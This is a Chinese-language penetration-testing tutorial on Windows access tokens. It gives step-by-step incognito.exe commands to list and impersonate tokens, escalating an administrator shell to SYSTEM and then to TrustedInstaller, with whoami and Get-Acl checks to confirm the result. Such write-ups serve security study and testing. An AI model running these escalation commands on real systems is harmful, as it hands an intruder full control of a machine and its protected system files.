Token窃取与利用
0x01. Token简介
Windows有两种类型的Token:
- Delegation token(授权令牌):用于交互会话登录(例如本地用户直接登录、远程桌面登录)
- Impersonation token(模拟令牌):用于非交互登录(利用net use访问共享文件夹)
注:
两种token只在系统重启后清除
具有Delegation token
的用户在注销后,该Token将变成Impersonation token
,依旧有效
0x02. Windows平台下的incognito提权(Admin to System)
下载地址:
https://labs.mwrinfosecurity.com/assets/BlogFiles/incognito2.zip
参考手册:
常见用法如下:
列举token:incognito.exe list_tokens -u
复制token:incognito.exe execute [options]
实际测试
列举token:
1 | incognito.exe list_tokens -u |
提权至system:
1 | incognito.exe execute -c "NT AUTHORITY\SYSTEM" cmd.exe |
降权至当前用户:
1 | incognito.exe execute -c "Larry-PC\Larry" cmd.exe |
0x03. 利用token获得TrustedInstaller权限
在Windows系统中,即使获得了管理员权限和system权限,也不能修改系统文件
因为Windows系统的最高权限为TrustedInstaller
例如路径C:\Windows\servicing
使用system权限无法在该路径创建文件
查看文件夹属性,可以看到SYSTEM不具有写入权限,只有TrustedInstaller具有写入权限
关于如何获得TrustedInstaller权限,可参考James Forshaw的这篇文章,很值得学习
https://tyranidslair.blogspot.nl/2017/08/the-art-of-becoming-trustedinstaller.html
这里依旧使用incognito来获取TrustedInstaller权限,首先运行TrustedInstaller服务
1 | sc.exe start TrustedInstaller |
之后使用incognito来获取权限
1 | incognito.exe execute -c "NT SERVICE\TrustedInstaller" cmd.exe |
使用whoami查看当前cmd权限
1 | whoami /groups /fo list |
发现当前cmd.exe在TrustedInstaller组里,成功获得TrustedInstaller权限
检验是否获取到TrustedInstaller权限
1、对特殊路径写文件
例如C:\Windows\servicing
,如下图
2、使用powershell
1 | Get-Acl -Path C:\Windows\servicing\TrustedInstaller.exe |select Owner |
回显为NT SERVICE\TrustedInstaller
3、使用whoami
1 | whoami /groups | findstr TrustedInstaller |
查看是否有回显